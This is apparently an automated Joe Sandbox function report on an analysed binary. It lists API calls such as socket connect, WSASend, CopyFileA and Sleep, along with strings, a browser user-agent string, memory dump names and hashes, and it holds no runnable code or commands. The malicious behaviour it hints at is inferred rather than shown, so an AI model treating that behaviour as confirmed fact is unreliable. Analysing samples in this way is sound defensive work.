Function 0077B586 Relevance: 39.5, APIs: 2, Strings: 20, Instructions: 989
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v<Ea, xrefs: 005EB9FC
v<Ea, xrefs: 005EBA75
v<Ea, xrefs: 005EBAC7
v<Ea, xrefs: 005EBF79
type must be object, but is , xrefs: 005EC811, 005EC984, 005ECA4B
cannot get value, xrefs: 005EC3D3, 005EC4D2, 005EC544, 005EC65E, 005EC787, 005EC8FB, 005EC9C1
cannot compare iterators of different containers, xrefs: 005EC39A, 005EC40C, 005EC445, 005EC50B, 005EC57D, 005EC697, 005EC7C0, 005EC934, 005EC9FA
v<Ea, xrefs: 005EB777
v<Ea, xrefs: 005EB68B
v<Ea, xrefs: 005EB725
v<Ea, xrefs: 005EB854
v<Ea, xrefs: 005EB9B0
cannot use operator[] with a string argument with , xrefs: 005EC495, 005EC5CD, 005EC621, 005EC6E7, 005EC74A, 005EC865, 005EC8BE
v<Ea, xrefs: 005EBFCF
v<Ea, xrefs: 005EBC31
v<Ea, xrefs: 005EB639
v<Ea, xrefs: 005EBC7D
v<Ea, xrefs: 005EBCF6
v<Ea, xrefs: 005EB802
v<Ea, xrefs: 005EBD48

Memory Dump Source

Source File: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: cannot compare iterators of different containers$cannot get value$cannot use operator[] with a string argument with $type must be object, but is $v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 0-2041399147
Opcode ID: 0dec41dbaff836624dc05e25bfc21bce6c9773d12d59457079f404a21150e474
Instruction ID: 163f9d6965c629c22a80854efca6f15881c57c6e4861e9b0a620adebdaf2754f
Opcode Fuzzy Hash: 0dec41dbaff836624dc05e25bfc21bce6c9773d12d59457079f404a21150e474
Instruction Fuzzy Hash: D4A28DB0D042999BDB25EB68CC59ADEBB74BF54300F1041E9E449B3292EB706F85CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00624EB0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c79ca87b808d4acea6e60151eb4d06d6f449305e339c2b0f2a6c99b3e0137a
Instruction ID: ea7ccba84201c2a515461c0fd1cdc3eca8a9c483e53c8638988ad705e5e81d75
Opcode Fuzzy Hash: 22c79ca87b808d4acea6e60151eb4d06d6f449305e339c2b0f2a6c99b3e0137a
Instruction Fuzzy Hash: 59A1C9B1904788DFEB21DBA4DC89BADBBB6BB05304F244218E445AF2D2D7705948DF82

Uniqueness

Uniqueness Score: -1.00%

Function 068E2280 Relevance: 13.6, APIs: 9, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 068E22AA
getaddrinfo.WS2_32(FFFFFFFF,00000000,?,00000000), ref: 068E2300
WSACleanup.WS2_32 ref: 068E230F

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CleanupStartupgetaddrinfo
String ID:
API String ID: 3142474549-0
Opcode ID: 5494ec0436176e7d4b4aa84a72454e95798262e0d3e3f3a453259ecf27b27c8b
Instruction ID: af693c173c1fa2fbe80b466bcd443986c7a3848c3328411b38858d2656f47a0f
Opcode Fuzzy Hash: 5494ec0436176e7d4b4aa84a72454e95798262e0d3e3f3a453259ecf27b27c8b
Instruction Fuzzy Hash: EE4108B4C04218EFDB04DFA8D448AEDBBB9BB49324F208659E525A73D0C7709A40CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00798C80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 131
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,0083159A,8C8A3B0C,228BA431,?,?,007346C1,008BEFD9,7502B28B,00765001,007FF76E,0082AE17,0071ED77,007BEF52,007A98AF,E5BED0B7), ref: 005BD8A6
Sleep.KERNEL32(00007530,?,?,00866446,007BDB64,?,C038DD34,?,00749BC4,971C2EB3,?,?,?,?,008733E3,?), ref: 005BD8C2
Sleep.KERNEL32(00000064), ref: 005BD942
Sleep.KERNEL32(00000BB9), ref: 005BD968
closesocket.WS2_32(00000002), ref: 005BD97E
Sleep.KERNEL32(000003E8), ref: 005BD996

Strings

v<Ea, xrefs: 005BD8E9

Memory Dump Source

Source File: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Sleep$ErrorLastclosesocket
String ID: v<Ea
API String ID: 1849864894-4124759590
Opcode ID: 78a260eaef95e108997051fc9f20d865200812d704d6b8e49020b41cb7619502
Instruction ID: 1a752fe32c623294443919e279abf607b4d39b57221b6090705e748744ca714f
Opcode Fuzzy Hash: 78a260eaef95e108997051fc9f20d865200812d704d6b8e49020b41cb7619502
Instruction Fuzzy Hash: 9751BC71C08399DFCB24EFA8C8487DDBBB1BF94310F108199E448672A2D7741A40DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0691596C Relevance: 10.6, APIs: 7, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 069159B3
___scrt_uninitialize_crt.LIBCMT ref: 069159CD

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 64417f79c8df316aab7c1c8576a018d0c78503ed1210dd3daf90bb51dcd4a915
Instruction ID: 08e8c2cc685d5f15937930af34d4fc06963f003a3f98a168f9e03ccf3d55039f
Opcode Fuzzy Hash: 64417f79c8df316aab7c1c8576a018d0c78503ed1210dd3daf90bb51dcd4a915
Instruction Fuzzy Hash: 5B4181B2D5021CAFDBE1EF59DC80AAE76A9EBC0664F334515E825AF940D7309901DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00568F20 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 273
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 005691D3
WSASend.WS2_32(?,?,00000001,?,00000000,00000000,00000000,?,Ws2_32.dll), ref: 005691EC

Strings

v<Ea, xrefs: 00569197
Ws2_32.dll, xrefs: 005691BF
v<Ea, xrefs: 00569169

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: AddressProcSend
String ID: Ws2_32.dll$v<Ea$v<Ea
API String ID: 3987619627-996692458
Opcode ID: 3f13d07f4acc157861ddb9deb5171efddcefac8db46dafd714444768bc022220
Instruction ID: 80ef5c2c0e39b0e7deeaa0e124afa2ef20fc1d67656b49f762e47a6183f42e34
Opcode Fuzzy Hash: 3f13d07f4acc157861ddb9deb5171efddcefac8db46dafd714444768bc022220
Instruction Fuzzy Hash: ABC16774E01204DFCB24CFA8D849BADBBB5BF08714F28815DE856AB391D771AD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00633B40 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

Part of subcall function 00633F50: GetLastError.KERNEL32(?,00000000), ref: 00633F83

std::_Throw_Cpp_error.LIBCPMT ref: 00633F34
std::_Throw_Cpp_error.LIBCPMT ref: 00633F45

Strings

v<Ea, xrefs: 00633D17
(bn, xrefs: 00633E37

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ErrorLast
String ID: (bn$v<Ea
API String ID: 2454169095-2176390546
Opcode ID: 59586f2845bdd8a37da768fb19a6803fcb99487fdd497b65ffce15ee336be168
Instruction ID: 69b93553d027bc84911bce69e55a347f137ec0aa2cafb789111d5c7f5975f714
Opcode Fuzzy Hash: 59586f2845bdd8a37da768fb19a6803fcb99487fdd497b65ffce15ee336be168
Instruction Fuzzy Hash: B8D16AB0D00249DBDB14CFA8C9457EEBBB1BF55314F148259D804B7392EB705B89CB92

Uniqueness

Uniqueness Score: -1.00%

Function 006339A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00633B1A
std::_Throw_Cpp_error.LIBCPMT ref: 00633B2B

Strings

(bn, xrefs: 006339D8

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: (bn
API String ID: 2134207285-886999856
Opcode ID: d2d0d64d949e470c94dd2a525ba276396e8dabe90eb728223133018784aed879
Instruction ID: 0aff3624c7e32ae49339cb4209ab87bb52ed04e33b8d4b08c35794abbb65292d
Opcode Fuzzy Hash: d2d0d64d949e470c94dd2a525ba276396e8dabe90eb728223133018784aed879
Instruction Fuzzy Hash: 8E410671E003528BCB20DF68DD8176ABBF2FB90310F181329E8559B391EB75AA04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00583D90 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00583F16
Concurrency::cancel_current_task.LIBCPMT ref: 00584125

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 7429f2c8891a50a2ef08db9029b2ce7079774dc0988f116da5d6dc492e51315d
Instruction ID: 1846fe4f6516dcc00fd92e0dc91b2eecadfc8acdc5556bb67cf441b8b735b1b1
Opcode Fuzzy Hash: 7429f2c8891a50a2ef08db9029b2ce7079774dc0988f116da5d6dc492e51315d
Instruction Fuzzy Hash: 23E1A271E002069FCB14EF68C985A6EBBB5FB98350F144229FC15E7395D775AE01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00633F50 Relevance: 4.6, APIs: 3, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 00633F83
CopyFileA.KERNEL32(?,?,00000000,00000000), ref: 006340D5
GetLastError.KERNEL32(?,?,00000000,00000000), ref: 006340E3

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ErrorLast$CopyFile
String ID:
API String ID: 936320341-0
Opcode ID: 0770bd940299a92ec3c38fc61fe4e1cd569e38f88472dfe9b55ef7353f2c516b
Instruction ID: 55361f8043cab77db8d7cfb2081c5a968462990bed78d6125e6abb974377887c
Opcode Fuzzy Hash: 0770bd940299a92ec3c38fc61fe4e1cd569e38f88472dfe9b55ef7353f2c516b
Instruction Fuzzy Hash: 9831B472E00609AFDF10DFA8DC41BEDFB79FB45320F10426AE908A7381D7765A058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00775E8B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36, xrefs: 0064BF08

Memory Dump Source

Source File: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
API String ID: 0-2732702261
Opcode ID: 0f1634f17118ddc5aab09d217ae6085ff967a79f8093042c5bc07f257010540a
Instruction ID: 89e68b0dd19298d97e46e5ab1cb4710fecba908d6e4adc0339abc81d97b5dcf3
Opcode Fuzzy Hash: 0f1634f17118ddc5aab09d217ae6085ff967a79f8093042c5bc07f257010540a
Instruction Fuzzy Hash: C15146719043099FCF11EF68D885AEEBBE7FF85344F0425ADE994A7212DB7089018B91

Uniqueness

Uniqueness Score: -1.00%

Function 006449F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00644B5C

Strings

v<Ea, xrefs: 00644AB2

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: __fread_nolock
String ID: v<Ea
API String ID: 2638373210-4124759590
Opcode ID: 2d9b3c3e9f2432fec3cf0693acb53c7ac91d47e33443c6e529adabf3db2f2bf8
Instruction ID: e0d4992cdb4c32aa729e3787672fdcaba904eb542abfb24bfb17757acc5c20bb
Opcode Fuzzy Hash: 2d9b3c3e9f2432fec3cf0693acb53c7ac91d47e33443c6e529adabf3db2f2bf8
Instruction Fuzzy Hash: 53515DB0D042499BDB20DF98D946BAEFBB5FF44704F10421DE851BB381D7716A44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00644870 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 006449B9

Strings

v<Ea, xrefs: 00644912

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: __fread_nolock
String ID: v<Ea
API String ID: 2638373210-4124759590
Opcode ID: 4db04298e11949ef6e12e8ebe6b251c469c27a79e2114ee28ad282817fb614fa
Instruction ID: 14e383ea6f12608b8b306908c3a3da1755bd49ccc94a030341aec96a18f3a729
Opcode Fuzzy Hash: 4db04298e11949ef6e12e8ebe6b251c469c27a79e2114ee28ad282817fb614fa
Instruction Fuzzy Hash: 6A4127B1D002499FDB10DF98D886BEEBBB5BF49704F104159E814BB381E775A901DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0059D0C8 Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0059D12C
__dosmaperr.LIBCMT ref: 0059D133

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr
String ID:
API String ID: 1659562826-0
Opcode ID: 69953c704d8c68b3c7c9c9e98bb9ac51c9f6ad957fc42e6a1c2d257ea922cf90
Instruction ID: 4d5d42db0922bb18812d62fdc36819f6d31ca174d2f7083ffc52ea142b264bee
Opcode Fuzzy Hash: 69953c704d8c68b3c7c9c9e98bb9ac51c9f6ad957fc42e6a1c2d257ea922cf90
Instruction Fuzzy Hash: 0721D572600601ABCF21AF25CC05A1BBFB5FFC13A0F148619F828D71A1E730E841D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 068E2399 Relevance: 3.0, APIs: 2, Instructions: 25networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 068E2349
WSACleanup.WS2_32 ref: 068E2358
connect.WS2_32(000000FF,?,?), ref: 068E2375
closesocket.WS2_32(000000FF), ref: 068E2388
freeaddrinfo.WS2_32(00000000), ref: 068E239F
WSACleanup.WS2_32 ref: 068E23AB

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Cleanup$closesocketconnectfreeaddrinfosocket
String ID:
API String ID: 2878866204-0
Opcode ID: 0975f62325f1101ed210646fccf2ef39b97a887497ba155e8d261f3aa338f611
Instruction ID: 7941d2b5df0b36e23a295a401558943c508d18290459be5d182d74b259970524
Opcode Fuzzy Hash: 0975f62325f1101ed210646fccf2ef39b97a887497ba155e8d261f3aa338f611
Instruction Fuzzy Hash: B7F0FE74904108EFCB44CF94D5989ADF7B6BB49324F208789E919972D0C7309F42DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00573D50 Relevance: 1.8, APIs: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00574093

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
